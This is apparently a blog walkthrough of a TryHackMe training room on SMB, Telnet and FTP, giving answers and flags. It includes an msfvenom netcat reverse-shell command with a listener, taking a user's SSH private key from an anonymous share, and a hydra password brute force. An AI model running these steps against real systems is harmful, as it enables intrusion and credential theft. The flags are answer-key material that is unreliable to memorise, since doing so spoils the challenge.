Network Services
Understanding network services is a foundational skill in cybersecurity. Whether you’re preparing for certifications, diving into…
Network Services

Understanding network services is a foundational skill in cybersecurity. Whether you’re preparing for certifications, diving into penetration testing, or just starting your journey in ethical hacking, knowing how network services operate and how they can be misconfigured or exploited is essential.
In this walkthrough, I’ll be exploring the “Network Services” room on TryHackMe, breaking down key concepts, commands, and techniques used to enumerate and interact with common network services.
We’ll cover:
- Service enumeration techniques
- Identifying open ports and running services
- Interacting with common protocols
- Analyzing potential vulnerabilities
- Practical tools used in real-world scenarios
Task : 1 Get Connected
Hello and welcome!
This room will explore common Network Service vulnerabilities and mis-configurations, but in order to do that, we’ll need to do a few things first!
A basic knowledge of Linux, and how to navigate the Linux file system, is required for this room. If you think you’ll need some help with this, try completing the ‘Linux Fundamentals’ Module (https://tryhackme.com/module/linux-fundamentals)
- Connect to the TryHackMe OpenVPN Server (See https://tryhackme.com/access for help!)
- Make sure you’re sitting comfortably, and have a cup of Tea, Coffee or Water close!
Now, let’s move on!
Task : 2 Understanding SMB
Go through the introduction given for the task 2 on TryHackMe for the better understanding of this session.

Server Message Block Protocol (SMB) is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network.
The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX.
Microsoft Windows operating systems since Windows 95 have included client and server SMB protocol support. Samba, an open source server that supports the SMB protocol, was released for Unix systems.
Let’s Find The Answers …
Q1 : What does SMB stand for?
Ans : Server Message Block
Q2 : What type of protocol is SMB?
Ans : response-request
Q3 : What do clients connect to servers using?
Ans : TCP/IP
Q4 : What systems does Samba run on?
Ans : Unix
Task : 3 Enumerating SMB
Before we begin, make sure to deploy the room and give it some time to boot. Please be aware, this can take up to five minutes so be patient!
Enumeration
Enumeration is the process of gathering information on a target in order to find potential attack vectors and aid in exploitation.This process is essential for an attack to be successful.Enumeration can be used to gather usernames, passwords, network information, hostnames, application data, services, or any other information that may be valuable to an attacker.
SMB
Typically, there are SMB share drives on a server that can be connected to and used to view or transfer files. SMB can often be a great starting point for an attacker looking to discover sensitive information — you’d be surprised what is sometimes included on these shares.
Port Scanning
The first step of enumeration is to conduct a port scan, to find out as much information as you can about the services, applications, structure and operating system of the target machine.
Enum4Linux
Enum4linux is a tool used to enumerate SMB shares on both Windows and Linux systems. It is basically a wrapper around the tools in the Samba package and makes it easy to quickly extract information from the target pertaining to SMB. It’s already installed on the AttackBox, however if you need to install it on your own attacking machine, you can do so from the official github.
The syntax of Enum4Linux is nice and simple: “enum4linux [options] ip”
TAG FUNCTION
-U get userlist -M get machine list -N get namelist dump (different from -U and-M) -S get sharelist -P get password policy information -G get group and member list
- a all of the above (full basic enumeration)
Let’s Find The Answers …
Q1 : Conduct an nmap scan of your choosing, How many ports are open?
Ans : 3

Q2 : What ports is SMB running on?
Ans : 139/445
From above screenshot you can understand which are the ports running SMB.
Q3 : Let’s get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?
Ans : WORKGROUP
Command: enum4linux –a 10.48.137.110

From the basic enumeration, using Enum4linux we got the info as workgroup name as WORKGROUP.
Q4 : What comes up as the name of the machine?
Ans : POLOSMB
Q5 : What operating system version is running?
Ans : 6.1
All basic details got from the basic enumeration as screenshot given above.
Q6 : What share sticks out as something we might want to investigate?
Ans: profiles

Task : 4 Exploiting SMB
Types of SMB Exploit
While there are vulnerabilities such as CVE-2017–7494 that can allow remote code execution by exploiting SMB, you’re more likely to encounter a situation where the best way into a system is due to misconfigurations in the system. In this case, we’re going to be exploiting anonymous SMB share access- a common misconfiguration that can allow us to gain information that will lead to a shell.
Method Breakdown
So, from our enumeration stage, we know:
-
The SMB share location
-
The name of an interesting SMB share
SMBClient
Because we’re trying to access an SMB share, we need a client to access resources on servers. We will be using SMBClient because it’s part of the default samba suite. While it’s already installed on the AttackBox, if you do need to install it on your own attacking machine, you can find the documentation here.
We can remotely access the SMB share using the syntax:
Syntax: smbclient //[IP]/[SHARE] -U [USERNAME] -p [PORT]
Example: smbclient //10.10.10.10/secrets -U Anonymous -p 445
SMBClient Commands
Once inside the share, you can view the available commands by typing “help”. The most useful of which are:
- ls or dir: List files and directories
- cd [DIR]: Move to a different directory
- get [FILE]: Download the file to your AttackBox
Ready For SMB Challanges? … Let’s Go….
Q1 : What would be the correct syntax to access an SMB share called “secret” as user “suit” on a machine with the IP 10.10.10.2 on the default port?
Ans : smbclient //10.10.10.2/secret -U suit -p 445
This is the common syntax of the smb, For accessing the system with the secret as user.
Q2 : Great! Now you’ve got a hang of the syntax, let’s have a go at trying to exploit this vulnerability. You have a list of users, the name of the share (smb) and a suspected vulnerability.
Ans : No answer needed
Q3 : Lets see if our interesting share has been configured to allow anonymous access, I.E it doesn’t require authentication to view the files. We can do this easily by:
-using the username “Anonymous”
-connecting to the share we found during the enumeration stage
-and not supplying a password.
Does the share allow anonymous access? Y/N?
Ans : Y

Note: You can use the help parameter to see all the commands you can use.
Q4 : Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?
Ans : John Cactus

We need to download the file named Working From Home Information.txt

After downloading we need to read that file , which gives the profile user name as John Cactus
Q5 : What service has been configured to allow him to work from home?
Ans : ssh
In the above screenshot they already mentioned SSH.
Q6 : Okay! Now we know this, what directory on the share should we look in?
Ans : .ssh
From the above itself we got an hint about SSH, So we would look on .ssh folder.
Q7 : This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?
Ans : id_rsa

Download this file to your local machine, and change the permissions to “600” using “chmod 600 [file]”.
Download it and change the permission. We already knows the username from the basic enumeration.

Log into the machine using id_rsa

Q8 : What is the smb.txt flag?
Ans : THM{smb_is_fun_eh?}
Task : 5 Understanding Telnet
Telnet is an application protocol which allows you, with the use of a telnet client, to connect to and execute commands on a remote machine that’s hosting a telnet server.
The telnet client will establish a connection with the server. The client will then become a virtual terminal - allowing you to interact with the remote host.
Replacement
Telnet sends all messages in clear text and has no specific security mechanisms. Thus, in many applications and services, Telnet has been replaced by SSH where transmitted data is encrypted.
How does Telnet work?
The user connects to the server by using the Telnet protocol, which means entering "telnet" into a command prompt. The user then executes commands on the server by using specific Telnet commands in the Telnet prompt. You can connect to a telnet server with the following syntax: "telnet [ip] [port]"
Let’s Jump Into Questions…
Q1 : Is Telnet a client-server protocol (Y/N)?
Ans : Y
Q2 : What has slowly replaced Telnet?
Ans : ssh
Q3 : How would you connect to a Telnet server with the IP 10.10.10.3 on port 23?
Ans : telnet 10.10.10.3 23
Q4 : The lack of what, means that all Telnet communication is in plaintext?
Ans : encryption
Task : 6 Enumerating Telnet
Enumeration
We’ve already seen how key enumeration can be in exploiting a misconfigured network service. However, vulnerabilities that could be potentially trivial to exploit don’t always jump out at us. For that reason, especially when it comes to enumerating network services, we need to be thorough in our method.
Port Scanning
Let’s start out the same way we usually do, a port scan, to find out as much information as we can about the services, applications, structure and operating system of the target machine. Scan the machine with nmap.
Let’s ready for the challenges ….
Q1 : How many ports are open on the target machine?
Ans : 1

Without any flags scan all ports using nmap.
Q2 : What port is this?
Ans : 8012
Q3 : This port is unassigned, but still lists the protocol it’s using, what protocol is this?
Ans : tcp
Q4 : Now re-run the nmap scan, without the -p- tag, how many ports show up as open?
Ans : 0

Q5 : Here, we see that by assigning telnet to a non-standard port, it is not part of the common ports list, or top 1000 ports, that nmap scans. It’s important to try every angle when enumerating, as the information you gather here will inform your exploitation stage.
Ans : No answer needed
Q6 : Based on the title returned to us, what do we think this port could be used for?
Ans : a backdoor

Q7 : Who could it belong to? Gathering possible usernames is an important step in enumeration.
Ans : Skidy
From the above nmap scan report, we got the information about the service and the user.
Q8 : Always keep a note of information you find during your enumeration stage, so you can refer back to it when you move on to try exploits.
Ans : No answer needed
Task : 7 Exploiting Telnet
Types of Telnet Exploit
Telnet, being a protocol, is in and of itself insecure for the reasons we talked about earlier. It lacks encryption, so sends all communication over plaintext, and for the most part has poor access control. There are CVE’s for Telnet client and server systems, however, so when exploiting you can check for those on:
A CVE, short for Common Vulnerabilities and Exposures, is a list of publicly disclosed computer security flaws. When someone refers to a CVE, they usually mean the CVE ID number assigned to a security flaw.
However, you’re far more likely to find a misconfiguration in how telnet has been configured or is operating that will allow you to exploit it.
Method Breakdown
So, from our enumeration stage, we know:
-
There is a poorly hidden telnet service running on this machine
-
The service itself is marked “backdoor”
-
We have possible username of “Skidy” implicated
Using this information, let’s try accessing this telnet port, and using that as a foothold to get a full reverse shell on the machine!
Connecting to Telnet
You can connect to a telnet server with the following syntax:
“telnet [ip] [port]”
We’re going to need to keep this in mind as we try and exploit this machine.
What is a Reverse Shell?

A “shell” can simply be described as a piece of code or program which can be used to gain code or command execution on a device.
A reverse shell is a type of shell in which the target machine communicates back to the attacking machine.
The attacking machine has a listening port, on which it receives the connection, resulting in code or command execution being achieved.
Shall we move to questions, Let’s Try…
Q1 : Okay, let’s try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.
Ans : No answer needed
Q2 : Great! It’s an open telnet connection! What welcome message do we receive?
Ans : SKIDY’S BACKDOOR

Just give the telnet connection cmd, It will open the connection with a message.
Q3 : Let’s try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)
Ans : N

When we try to execute the commands, it will not give any response.
Q4 : Hmm… that’s strange. Let’s check to see if what we’re typing is being executed as a system command.
Ans : No answer needed
Q5 : Start a tcpdump listener on your local machine.
If using your own machine with the OpenVPN connection, use:
sudo tcpdump ip proto \\icmp -i tun0
If using the AttackBox, use:
sudo tcpdump ip proto \\icmp -i eth0
This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.
Ans : No answer needed
tcpdump is a data-network packet analyzer computer program that runs under a command line interface.

Q6 : Now, use the command “ping [local THM ip] -c 1” through the telnet session to see if we’re able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)
Ans : Y


Q7 : Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let’s have some fun!
Ans : No answer needed
Q8 : We’re going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here’s our syntax:
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
msfvenom is the combination of payload generation and encoding.
-p : payload
lhost : our local host IP address (this is your machine’s IP address)
lport : the port to listen on (this is the port on your machine)
R : export the payload in raw format
What word does the generated payload start with?
Ans : mkfifo

Q9 : Perfect. We’re nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using:
nc -lvp [listening port]
netcat or nc is a utility tool that uses TCP and UDP connections to read and write in a network.
-l : listen mode
-v : verbose mode
-p : local port
What would the command look like for the listening port we selected in our payload?
Ans : nc -lvp 4444

Cmd for listening on the port which we have given to create payload for getting reverse connection.
Q10 : Great! Now that’s running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!

Run the payload on the telnet connection to get the reverse connection.

Reverse connection got opened on the port 4444.
Ans : No answer needed
Q11 : Success! What is the contents of flag.txt?
Ans : THM{y0u_g0t_th3_t3ln3t_fl4g}
Task : 8 Understanding FTP
The File Transfer Protocol (FTP) is a standard communication protocol used for the transfer of computer files from a server to a client on a computer network.
Active vs Passive
The FTP server may support either Active or Passive connections, or both.
- In an Active FTP connection, the client opens a port and listens. The server is required to actively connect to it.
- In a Passive FTP connection, the server opens a port and listens (passively) and the client connects to it.
This separation of command information and data into separate channels is a way of being able to send commands to the server without having to wait for the current data transfer to finish. If both channels were interlinked, you could only enter commands in between data transfers, which wouldn’t be efficient for either large file transfers, or slow internet connections.
Let’s Move On To The Questions…
Q1 : What communications model does FTP use?
Ans : client-server
Q2 : What’s the standard FTP port?
Ans : 21
Q3 : How many modes of FTP connection are there?
Ans : 2
Task : 9 Enumerating FTP
Enumeration
By now, I don’t think I need to explain any further how enumeration is key when attacking network services and protocols. You should, by now, have enough experience with nmap to be able to port scan effectively. If you get stuck using any tool- you can always use “tool [-h / -help / — help]” to find out more about it’s function and syntax. Equally, man pages are extremely useful for this purpose. They can be reached using “man [tool]”.
Method
We’re going to be exploiting an anonymous FTP login, to see what files we can access- and if they contain any information that might allow us to pop a shell on the system. This is a common pathway in CTF challenges, and mimics a real-life careless implementation of FTP servers.
Resources
As we’re going to be logging in to an FTP server, we will need to make sure an FTP client is installed on the system. There should be one installed by default on most Linux operating systems, such as Kali or Parrot OS. You can test if there is one by typing “ftp” into the console. If you’re brought to a prompt that says: “ftp>”, then you have a working FTP client on your system. If not, it’s a simple matter of using “sudo apt install ftp” to install one.
Alternative Enumeration Methods
It’s worth noting that some vulnerable versions of in.ftpd and some other FTP server variants return different responses to the “cwd” command for home directories which exist and those that don’t. This can be exploited because you can issue cwd commands before authentication, and if there’s a home directory- there is more than likely a user account to go with it. While this bug is found mainly within legacy systems, it’s worth knowing about, as a way to exploit FTP.
This vulnerability is documented at: https://www.exploit-db.com/exploits/20745
Let’s Check The Questions…
Q1: Run an nmap scan of your choice. How many ports are open on the target machine?
Ans : 3

Q2 : What port is ftp running on?
Ans : 21
Q3 : What variant of FTP is running on it?
Ans : vsftpd

Q4 : Great, now we know what type of FTP server we’re dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing “ftp [IP]” into the console, and entering “anonymous”, and no password when prompted.
What is the name of the file in the anonymous FTP directory?
Ans : PUBLIC_NOTICE.txt

Q5 : What do we think a possible username could be?
Ans : mike

Q6 : Great! Now we’ve got details about the FTP server and, crucially, a possible username. Let’s see what we can do with that…
Ans : No answer needed
Task : 10 Exploiting FTP
Types of FTP Exploit
Similarly to Telnet, when using FTP both the command and data channels are unencrypted. Any data sent over these channels can be intercepted and read.
With data from FTP being sent in plaintext, if a man-in-the-middle attack took place an attacker could reveal anything sent through this protocol (such as passwords). An article written by JSCape demonstrates and explains this process using ARP-Poisoning to trick a victim into sending sensitive information to an attacker, rather than a legitimate source.
When looking at an FTP server from the position we find ourselves in for this machine, an avenue we can exploit is weak or default password configurations.
Method Breakdown
So, from our enumeration stage, we know:
-
There is an FTP server running on this machine
-
We have a possible username
Using this information, let’s try and bruteforce the password of the FTP Server.
Hydra
Hydra is a very fast online password cracking tool, which can perform rapid dictionary attacks against more than 50 Protocols, including Telnet, RDP, SSH, FTP, HTTP, HTTPS, SMB, several databases and much more. Hydra is already installed on the AttackBox, however, if you need it on your own attacking machine, you can find the GitHub repository here.
The syntax for the command we’re going to use to find the passwords is this:
“hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp”
Let’s break it down:
SECTION FUNCTION
hydra Runs the hydra tool
-t 4 Number of parallel connections per target
-l [user] Points to the user who’s account you’re trying to compromise
-P [path to dictionary] Points to the file containing the list of possible passwords
-vV Sets verbose mode to very verbose, shows the login+pass combination for each attempt
[machine IP] The IP address of the target machine
ftp / protocol Sets the protocol
Let’s crack some passwords!
Q1 : What is the password for the user “mike”?
Ans : password

Q2 : Bingo! Now, let’s connect to the FTP server as this user using “ftp [IP]” and entering the credentials when prompted
Ans : No answer needed

Download the ftp.txt for flag.
Q3 : What is ftp.txt?
Ans : THM{y0u_g0t_th3_ftp_fl4g}

Task : 11 Expanding Your Knowledge
Further Learning
There is no checklist of things to learn until you’ve officially learnt everything you can. There will always be things that surprise us all, especially in the sometimes abstract logical problems of capture the flag challenges. But, as with anything, practice makes perfect. We can all look back on the things we’ve learnt after completing something challenging and I hope you feel the same about this room.
Reading
Here’s some things that might be useful to read after completing this room, if it interests you:
- https://medium.com/@gregIT/exploiting-simple-network-services-in-ctfs-ec8735be5eef
- https://attack.mitre.org/techniques/T1210/
- https://www.nextgov.com/cybersecurity/2019/10/nsa-warns-vulnerabilities-multiple-vpn-services/160456/
Thank you
Thanks for taking the time to work through this room, I wish you the best of luck in future.
~ Polo
Thank you for reading….
Have a nice day………
메타데이터
- post_id
- d7fc10f3b914
- slug
- network-services-d7fc10f3b914
- url
- https://medium.com/@achuash1995/network-services-d7fc10f3b914
- canonical_url
- https://medium.com/@achuash1995/network-services-d7fc10f3b914
- author_url
- https://medium.com/@achuash1995
- status
- ok
- fetched_at
- 2026-08-05 01:38:13